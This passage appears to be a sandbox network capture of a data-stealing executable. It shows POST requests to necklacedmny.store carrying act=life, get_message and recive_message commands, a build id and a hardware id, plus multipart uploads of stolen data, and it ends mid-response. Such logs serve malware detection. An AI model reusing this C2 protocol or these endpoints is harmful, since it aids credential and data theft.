2024-10-30 10:46:59 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 38 43 31 34 31 43 32 35 31 37 38 31 32 46 35 43 37 39 34 46 45 44 44 46 34 30 44 34 34 46 32 45 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=8C141C2517812F5C794FEDDF40D44F2E
2024-10-30 10:47:00 UTC	1017	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:47:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=nc5p17m8u01088njq8e4jdh0ko; expires=Sun, 23 Feb 2025 04:33:38 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uFBnxEBex1JfJRxP5kzK%2BOZdFYvDjbi1NeVB%2Bx2PLtsYWqkEixuoX%2B8Nr6Q4t7Wi7gefEw%2BhSy7XDvZpWFyRyEUSUy9sSTDm5eULkxZ4afKPgi10CHnCDKTHS7FGVsUSf%2BtySMY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8daad31f38804763-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1719&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=989&delivery_rate=1684700&cwnd=240&unsent_bytes=0&cid=2ac1612cebd0b536&ts=519&x=0"
2024-10-30 10:47:00 UTC	214	IN	Data Raw: 64 30 0d 0a 4f 55 78 63 57 39 68 78 62 66 62 76 56 77 54 76 46 6d 62 51 59 48 63 68 79 6a 62 2f 31 66 4f 51 30 6b 62 2b 50 32 4b 67 5a 6b 4e 69 4e 33 34 75 2b 6b 74 50 6e 70 73 6a 64 4e 56 4b 53 59 78 50 52 68 6e 2f 47 4d 33 6b 78 72 37 6a 64 38 30 52 55 35 59 36 62 46 59 71 4f 67 66 33 46 51 69 51 77 54 4a 38 69 6a 52 4b 38 67 59 44 41 2f 41 47 30 2f 65 57 73 75 68 32 67 78 4d 5a 67 68 4e 68 41 32 34 30 4c 36 77 42 56 36 72 41 43 79 76 65 4c 6c 50 2b 55 6b 59 55 35 41 66 4f 35 74 32 68 35 42 72 52 55 67 76 4f 41 78 38 57 50 6a 30 31 76 42 34 41 32 49 6f 76 59 63 30 36 52 4c 59 55 56 52 76 36 47 74 32 77 30 61 72 69 4f 36 4d 3d 0d 0a Data Ascii: d0OUxcW9hxbfbvVwTvFmbQYHchyjb/1fOQ0kb+P2KgZkNiN34u+ktPnpsjdNVKSYxPRhn/GM3kxr7jd80RU5Y6bFYqOgf3FQiQwTJ8ijRK8gYDA/AG0/eWsuh2gxMZghNhA240L6wBV6rACyveLlP+UkYU5AfO5t2h5BrRUgvOAx8WPj01vB4A2IovYc06RLYUVRv6Gt2w0ariO6M=
2024-10-30 10:47:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.7	58206	188.114.96.3	443	5796	C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:47:01 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: necklacedmny.store
2024-10-30 10:47:01 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-30 10:47:01 UTC	1019	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:47:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=t4gepk499nvhc835qa363ilrv4; expires=Sun, 23 Feb 2025 04:33:40 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=r6zmEB%2FmRXNdNAiYe1ZVR%2BltNMpkmndgPhSCB8MSNAaWDvL%2BV2WBt4dOWr%2BtxamaKZk7wSd4tOoYoVCeyoAwAE%2Fb7p89v2z39nO2GWAh2SWQ%2BHefQ1HCYTnQYEh1B1mWaRUoZF4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8daad328de93468c-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1916&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=909&delivery_rate=1469304&cwnd=241&unsent_bytes=0&cid=a8ab42f4e588d5f9&ts=744&x=0"
2024-10-30 10:47:01 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-10-30 10:47:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.7	58208	188.114.96.3	443	5796	C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:47:02 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: necklacedmny.store
2024-10-30 10:47:02 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-30 10:47:03 UTC	1019	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:47:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=huug8qu7kgvv8sdcgmgt6uqdm4; expires=Sun, 23 Feb 2025 04:33:41 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=N%2BBBJ7KGapXKB2U02z8wV%2F6%2BUCCQfDsGU2e%2BecUjvuNx4h3anN7VFEfz78xBZzZ3PvGeSpdPUiAbHXP9FwUAzh5M7T38z5CSa5%2F41ck8M7Llxc5DQBg%2B3Rqli8qJTYGLVKKC0Cc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8daad33198f33aa8-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1181&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=954&delivery_rate=2337368&cwnd=251&unsent_bytes=0&cid=8a5a1596959062fa&ts=487&x=0"
2024-10-30 10:47:03 UTC	350	IN	Data Raw: 34 64 61 0d 0a 57 66 42 39 59 66 30 75 42 31 4c 49 73 47 38 5a 6f 4c 39 55 44 70 51 75 47 77 33 30 70 6b 2b 6c 31 39 76 57 51 52 78 2b 55 54 49 69 30 67 74 44 78 78 6f 72 63 4c 76 56 54 53 50 55 7a 53 46 72 75 41 78 36 61 64 61 63 4b 63 53 37 71 4c 4e 74 50 67 67 38 45 47 4f 57 48 41 32 4f 53 79 74 77 72 63 68 4e 49 2f 76 45 64 6d 76 36 44 43 45 76 6b 63 77 74 78 4c 75 35 74 79 70 7a 44 6a 31 52 4d 5a 77 61 43 5a 68 4e 59 7a 4f 6b 33 51 70 38 78 64 34 2b 59 50 31 44 63 32 44 57 69 6d 33 41 72 66 6e 73 59 31 45 62 4a 56 4d 55 6b 51 34 4b 33 31 4d 72 4b 65 72 56 41 54 75 61 6e 54 56 72 39 6b 4a 39 61 5a 2f 4f 4a 38 32 7a 75 4c 49 72 62 42 63 33 57 6a 47 53 47 51 69 53 52 48 63 2b 72 74 6f 42 65 73 2f 65 64 69 4b 32 53 32 45 76 7a 6f 52 2b 39 62 61 6f 70 54 Data Ascii: 4daWfB9Yf0uB1LIsG8ZoL9UDpQuGw30pk+l19vWQRx+UTIi0gtDxxorcLvVTSPUzSFruAx6adacKcS7qLNtPgg8EGOWHA2OSytwrchNI/vEdmv6DCEvkcwtxLu5typzDj1RMZwaCZhNYzOk3Qp8xd4+YP1Dc2DWim3ArfnsY1EbJVMUkQ4K31MrKerVATuanTVr9kJ9aZ/OJ82zuLIrbBc3WjGSGQiSRHc+rtoBes/ediK2S2EvzoR+9baopT
2024-10-30 10:47:03 UTC	899	IN	Data Raw: 51 32 65 51 57 55 69 6f 74 6b 47 66 74 44 57 50 32 48 37 54 48 52 6c 6d 63 63 74 77 4c 2b 7a 75 79 6c 36 45 54 35 57 4f 35 4a 66 54 64 39 4c 66 58 44 79 6b 69 35 2b 30 74 6f 36 65 72 52 32 4f 58 44 59 33 57 33 41 75 66 6e 73 59 33 59 5a 4d 46 4d 77 6e 52 77 4c 6c 46 35 6c 49 71 7a 66 43 47 6e 45 32 44 68 6d 39 56 35 7a 59 5a 44 48 4a 4d 79 38 76 4c 4d 6e 50 6c 4a 7a 56 79 50 53 52 30 4f 2b 51 57 34 38 6f 4d 55 4e 4f 39 32 54 4c 79 7a 78 51 44 6b 33 31 73 41 73 77 37 53 39 75 69 31 36 45 44 56 65 4e 70 30 5a 43 5a 39 4c 62 7a 69 69 30 77 42 77 7a 64 30 7a 59 66 4a 4b 64 57 36 54 68 47 4f 48 73 71 48 30 65 7a 34 79 4e 46 4d 70 30 43 6f 41 6b 55 4a 69 4a 75 72 4e 51 32 4b 43 32 6a 6f 73 72 67 78 33 61 70 6e 57 4c 4e 57 77 74 36 59 76 65 78 6f 2b 55 7a 57 53 Data Ascii: Q2eQWUiotkGftDWP2H7THRlmcctwL+zuyl6ET5WO5JfTd9LfXDyki5+0to6erR2OXDY3W3AufnsY3YZMFMwnRwLlF5lIqzfCGnE2Dhm9V5zYZDHJMy8vLMnPlJzVyPSR0O+QW48oMUNO92TLyzxQDk31sAsw7S9ui16EDVeNp0ZCZ9Lbzii0wBwzd0zYfJKdW6ThGOHsqH0ez4yNFMp0CoAkUJiJurNQ2KC2josrgx3apnWLNWwt6Yvexo+UzWS
2024-10-30 10:47:03 UTC	1369	IN	Data Raw: 31 38 61 32 0d 0a 65 62 51 57 6f 35 6f 39 73 66 63 63 37 54 4a 47 48 38 53 58 64 6a 6b 38 73 74 78 72 53 33 76 69 67 2b 55 6e 4e 58 49 39 4a 48 51 37 42 42 64 53 4b 67 32 52 77 35 39 39 34 34 59 76 46 61 4f 58 44 59 33 57 33 41 75 66 6e 73 59 33 55 61 50 31 77 37 6c 41 30 4e 6b 46 35 76 49 71 37 63 43 58 66 4d 31 44 74 6a 38 31 35 39 62 34 54 46 4b 4d 43 37 74 4b 59 6d 50 6c 4a 7a 56 79 50 53 52 30 4f 6c 65 47 49 67 75 39 56 50 54 73 48 54 4f 47 76 67 44 47 59 68 6a 34 51 71 79 2f 58 68 39 43 42 79 45 54 70 56 4e 49 41 56 44 35 35 65 59 6a 6d 6a 32 41 78 31 7a 64 59 36 61 65 52 48 64 6d 65 5a 78 53 44 4b 76 72 32 30 59 7a 42 63 4e 45 68 37 79 6c 38 69 6b 6b 4e 33 4d 37 75 51 4f 48 6a 4d 30 7a 46 36 74 6c 4d 33 64 74 62 44 49 59 66 74 2b 62 55 76 63 68 30 Data Ascii: 18a2ebQWo5o9sfcc7TJGH8SXdjk8stxrS3vig+UnNXI9JHQ7BBdSKg2Rw59944YvFaOXDY3W3AufnsY3UaP1w7lA0NkF5vIq7cCXfM1Dtj8159b4TFKMC7tKYmPlJzVyPSR0OleGIgu9VPTsHTOGvgDGYhj4Qqy/Xh9CByETpVNIAVD55eYjmj2Ax1zdY6aeRHdmeZxSDKvr20YzBcNEh7yl8ikkN3M7uQOHjM0zF6tlM3dtbDIYft+bUvch0
2024-10-30 10:47:03 UTC	1369	IN	Data Raw: 52 67 49 6c 45 68 68 4d 4b 66 5a 41 33 58 4c 30 54 35 67 38 56 35 30 61 70 37 4f 4a 4d 4b 35 74 4c 63 78 66 52 31 7a 48 6e 75 56 42 30 50 48 44 45 49 44 6e 66 46 4e 5a 49 7a 45 64 6d 76 36 44 43 45 76 6c 38 77 71 79 62 47 72 75 6a 46 77 47 7a 4e 57 4d 35 6f 59 44 35 46 43 64 7a 69 72 30 67 4e 30 79 74 51 79 62 66 4a 49 64 57 6a 57 69 6d 33 41 72 66 6e 73 59 31 59 66 4b 55 70 35 76 42 51 44 6d 46 78 7a 4b 2b 72 4e 51 32 4b 43 32 6a 6f 73 72 67 78 39 5a 4a 7a 4e 4c 73 36 78 74 4c 51 71 63 52 55 37 58 54 4f 41 48 67 6d 4e 53 47 41 78 70 64 67 4a 63 38 37 53 4f 6d 6a 6b 52 7a 6b 68 31 73 4d 31 68 2b 33 35 6c 43 68 6f 50 79 46 43 65 34 31 52 47 74 39 4c 61 58 44 79 6b 67 52 33 77 39 77 38 61 76 31 4a 64 47 2b 54 7a 69 72 4c 74 62 6d 33 4a 58 67 52 4f 31 67 33 Data Ascii: RgIlEhhMKfZA3XL0T5g8V50ap7OJMK5tLcxfR1zHnuVB0PHDEIDnfFNZIzEdmv6DCEvl8wqybGrujFwGzNWM5oYD5FCdzir0gN0ytQybfJIdWjWim3ArfnsY1YfKUp5vBQDmFxzK+rNQ2KC2josrgx9ZJzNLs6xtLQqcRU7XTOAHgmNSGAxpdgJc87SOmjkRzkh1sM1h+35lChoPyFCe41RGt9LaXDykgR3w9w8av1JdG+TzirLtbm3JXgRO1g3
2024-10-30 10:47:03 UTC	1369	IN	Data Raw: 42 4a 62 54 75 73 33 41 78 39 7a 74 42 32 49 72 5a 4c 59 53 2f 4f 68 41 72 64 75 4c 2b 6a 4d 6b 73 62 4d 77 46 37 6a 56 45 61 33 30 74 70 63 50 4b 53 41 48 66 49 30 44 4e 6f 2f 6b 74 36 62 70 72 41 49 4d 71 78 73 4c 41 6d 62 41 34 31 58 6a 75 64 45 51 79 54 58 6d 73 31 71 74 35 4e 4e 59 4c 61 4c 69 79 75 44 45 68 34 6c 6f 51 79 69 61 7a 35 73 79 38 2b 52 48 4e 66 4e 6f 41 54 44 4a 39 4e 5a 6a 53 68 31 51 74 39 77 39 34 7a 62 2f 4e 4b 65 47 2b 61 7a 69 72 50 76 37 65 35 4a 58 6f 61 4e 52 42 31 30 68 67 62 33 78 51 6c 41 71 66 63 42 48 6a 45 30 43 42 45 78 77 78 6d 49 59 2b 45 4b 73 76 31 34 66 51 6e 64 52 51 2f 56 54 4f 58 48 67 75 56 52 47 6f 2f 75 4e 4d 43 63 73 58 57 4f 32 50 34 53 58 64 39 6b 63 38 6d 7a 37 79 33 73 6d 4d 77 58 44 52 49 65 38 70 66 4e Data Ascii: BJbTus3Ax9ztB2IrZLYS/OhArduL+jMksbMwF7jVEa30tpcPKSAHfI0DNo/kt6bprAIMqxsLAmbA41XjudEQyTXms1qt5NNYLaLiyuDEh4loQyiaz5sy8+RHNfNoATDJ9NZjSh1Qt9w94zb/NKeG+azirPv7e5JXoaNRB10hgb3xQlAqfcBHjE0CBExwxmIY+EKsv14fQndRQ/VTOXHguVRGo/uNMCcsXWO2P4SXd9kc8mz7y3smMwXDRIe8pfN
2024-10-30 10:47:03 UTC	1369	IN	Data Raw: 33 6f 74 59 44 61 63 50 53 64 69 4b 32 53 32 45 76 7a 6f 51 63 30 62 4b 2b 75 32 46 58 47 79 68 52 4d 5a 45 55 44 39 39 54 4b 79 6e 71 31 51 45 37 6d 70 30 37 59 50 74 49 61 32 4f 57 78 43 54 41 76 36 75 37 4c 48 4d 66 4d 31 55 70 6b 77 30 4d 6c 45 6c 6d 4e 4b 58 64 41 58 50 49 6e 58 67 73 38 56 51 35 4e 39 62 6f 4c 74 61 2f 2b 35 4d 35 61 42 73 2f 51 54 43 66 45 30 4f 41 41 6e 78 77 72 64 35 4e 49 34 4c 64 4e 32 48 6b 53 58 68 6c 6e 4d 6b 6c 79 4c 43 38 75 79 64 36 46 7a 31 43 4e 5a 30 66 42 5a 52 4e 59 44 4f 68 32 41 4e 79 30 4a 31 34 4c 50 46 55 4f 54 66 57 37 6a 62 47 75 4c 58 32 44 58 55 4b 4e 42 49 61 6e 42 51 45 6b 31 6f 6c 4c 2b 54 4c 54 58 7a 4f 6e 57 34 73 2f 30 4a 31 62 4a 48 4d 4a 63 4b 31 73 72 51 73 64 42 49 30 51 6a 47 65 46 52 47 51 54 32 Data Ascii: 3otYDacPSdiK2S2EvzoQc0bK+u2FXGyhRMZEUD99TKynq1QE7mp07YPtIa2OWxCTAv6u7LHMfM1Upkw0MlElmNKXdAXPInXgs8VQ5N9boLta/+5M5aBs/QTCfE0OAAnxwrd5NI4LdN2HkSXhlnMklyLC8uyd6Fz1CNZ0fBZRNYDOh2ANy0J14LPFUOTfW7jbGuLX2DXUKNBIanBQEk1olL+TLTXzOnW4s/0J1bJHMJcK1srQsdBI0QjGeFRGQT2
2024-10-30 10:47:03 UTC	838	IN	Data Raw: 51 32 4b 43 32 6a 6f 73 72 67 78 35 61 35 72 48 4b 73 6d 36 74 4c 73 6b 64 52 4d 35 58 69 6d 64 47 67 75 54 52 47 67 69 6f 4e 67 66 63 73 76 51 4f 47 54 6b 54 7a 6b 68 31 73 4d 31 68 2b 33 35 68 69 6c 39 45 43 56 64 4e 4e 49 41 54 59 59 4d 59 6a 7a 71 69 6b 31 70 30 4e 30 39 62 50 46 43 61 32 36 65 79 79 66 48 73 37 4b 2b 49 48 63 59 50 56 6b 39 6b 78 49 43 6e 6b 78 67 4d 4b 50 41 41 44 75 4d 6e 54 46 30 74 68 51 35 57 4a 72 50 48 4d 53 6a 2b 61 74 74 5a 31 77 30 58 48 76 4b 58 77 4b 4e 51 57 30 30 71 74 38 4c 63 4d 50 63 4e 57 7a 32 54 33 6c 71 6e 63 73 72 77 4c 69 7a 76 53 70 73 46 44 64 43 4f 35 34 62 51 39 45 4d 59 69 6a 71 69 6b 31 4c 77 64 59 36 62 50 74 5a 4f 58 44 59 33 57 33 41 75 66 6e 73 59 33 59 58 4f 46 59 77 6b 52 77 4e 6c 45 5a 71 50 36 44 Data Ascii: Q2KC2josrgx5a5rHKsm6tLskdRM5XimdGguTRGgioNgfcsvQOGTkTzkh1sM1h+35hil9ECVdNNIATYYMYjzqik1p0N09bPFCa26eyyfHs7K+IHcYPVk9kxICnkxgMKPAADuMnTF0thQ5WJrPHMSj+attZ1w0XHvKXwKNQW00qt8LcMPcNWz2T3lqncsrwLizvSpsFDdCO54bQ9EMYijqik1LwdY6bPtZOXDY3W3AufnsY3YXOFYwkRwNlEZqP6D
2024-10-30 10:47:03 UTC	1369	IN	Data Raw: 32 36 66 30 0d 0a 58 47 73 43 64 64 49 4e 51 38 63 4d 49 6a 4f 34 77 41 74 34 31 4e 35 78 55 73 68 50 62 32 4b 5a 7a 79 7a 35 69 35 65 35 49 6e 30 53 63 57 45 74 6e 77 38 41 6d 6b 74 62 44 71 54 56 47 58 7a 4d 32 7a 59 73 75 41 78 32 4c 38 37 39 62 59 2f 31 68 76 70 6a 5a 6c 78 72 45 41 36 52 45 51 32 59 57 6e 52 39 69 63 51 41 64 4d 6e 63 64 69 4b 32 53 6a 6b 33 78 6f 70 74 77 36 54 35 37 48 4d 73 52 32 59 44 62 4d 4a 4e 48 4e 46 56 4a 53 62 71 69 6c 38 31 67 73 39 32 4e 4c 59 4c 64 32 4b 58 78 79 50 45 70 36 75 79 49 47 67 66 64 47 34 46 73 78 49 49 6b 30 46 71 4f 35 54 73 4c 48 62 4a 30 54 74 6a 2f 58 4a 48 65 70 58 4b 49 38 43 6a 71 50 52 74 50 68 4e 7a 43 41 4c 53 56 30 4f 67 41 69 55 6f 36 6f 70 4e 54 73 48 54 4f 47 76 67 58 54 52 4f 6d 38 38 68 79 Data Ascii: 26f0XGsCddINQ8cMIjO4wAt41N5xUshPb2KZzyz5i5e5In0ScWEtnw8AmktbDqTVGXzM2zYsuAx2L879bY/1hvpjZlxrEA6REQ2YWnR9icQAdMncdiK2Sjk3xoptw6T57HMsR2YDbMJNHNFVJSbqil81gs92NLYLd2KXxyPEp6uyIGgfdG4FsxIIk0FqO5TsLHbJ0Ttj/XJHepXKI8CjqPRtPhNzCALSV0OgAiUo6opNTsHTOGvgXTROm88hy
2024-10-30 10:47:03 UTC	1369	IN	Data Raw: 67 62 41 34 31 55 79 32 52 57 44 32 68 61 58 49 7a 75 74 51 4f 52 66 7a 32 4f 6d 72 78 56 6e 35 70 73 4f 52 74 69 66 57 32 39 48 74 48 58 48 73 51 42 4e 78 66 47 39 38 55 4a 51 57 70 33 41 4e 38 31 4d 78 37 53 65 46 50 61 57 6d 56 68 47 4f 48 73 2f 6e 73 63 7a 42 63 4e 30 46 37 79 6b 39 52 78 42 6b 32 5a 2f 71 41 45 6a 58 62 6e 53 41 73 72 68 34 33 4c 34 53 45 64 59 66 79 75 71 59 78 65 42 38 6c 55 33 79 73 49 53 57 63 58 57 38 52 70 38 49 4b 52 66 7a 49 4e 57 4c 34 53 32 39 2b 31 6f 70 74 79 50 58 68 6a 57 4d 32 55 44 56 54 4c 64 49 67 54 64 39 55 4a 57 6a 71 35 77 35 31 7a 4e 6f 67 66 62 74 71 65 6e 36 63 35 53 44 58 73 76 6e 36 59 33 68 63 61 77 4e 31 30 68 73 53 33 78 51 31 59 76 47 48 58 69 79 53 6a 79 6b 69 37 77 78 76 4c 38 36 57 59 34 65 6e 2b 65 Data Ascii: gbA41Uy2RWD2haXIzutQORfz2OmrxVn5psORtifW29HtHXHsQBNxfG98UJQWp3AN81Mx7SeFPaWmVhGOHs/nsczBcN0F7yk9RxBk2Z/qAEjXbnSAsrh43L4SEdYfyuqYxeB8lU3ysISWcXW8Rp8IKRfzINWL4S29+1optyPXhjWM2UDVTLdIgTd9UJWjq5w51zNogfbtqen6c5SDXsvn6Y3hcawN10hsS3xQ1YvGHXiySjyki7wxvL86WY4en+e

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.7	58215	188.114.96.3	443	5796	C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:47:04 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12849 Host: necklacedmny.store
2024-10-30 10:47:04 UTC	12849	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 43 31 34 31 43 32 35 31 37 38 31 32 46 35 43 37 39 34 46 45 44 44 46 34 30 44 34 34 46 32 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"8C141C2517812F5C794FEDDF40D44F2E--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-30 10:47:04 UTC	1021	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:47:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7l71sv1tnbhhnpdrf51pgashcl; expires=Sun, 23 Feb 2025 04:33:43 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=H5916aOw1y%2FRhqmleckan%2FMABWFq%2F4lq6S%2Fb2i1CezaIdY1aeQ1hQfhi6cnsYRaE3lmsCyNhCkXm6BoGsmEqAclY21qtNyB4d2pDprd2sFtaawgbUg%2BsjrSADfCP%2BZM9EJWa2tk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8daad33bfc09e7cb-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1587&sent=8&recv=16&lost=0&retrans=0&sent_bytes=2845&recv_bytes=13791&delivery_rate=1744578&cwnd=32&unsent_bytes=0&cid=05c2d1cb4b63425c&ts=506&x=0"
2024-10-30 10:47:04 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-30 10:47:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.7	58217	188.114.96.3	443	5796	C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:47:05 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15081 Host: necklacedmny.store
2024-10-30 10:47:05 UTC	15081	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 43 31 34 31 43 32 35 31 37 38 31 32 46 35 43 37 39 34 46 45 44 44 46 34 30 44 34 34 46 32 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"8C141C2517812F5C794FEDDF40D44F2E--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-30 10:47:06 UTC	1018	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:47:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ealif7ip1k5qsqvg72sfbjmeub; expires=Sun, 23 Feb 2025 04:33:45 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: 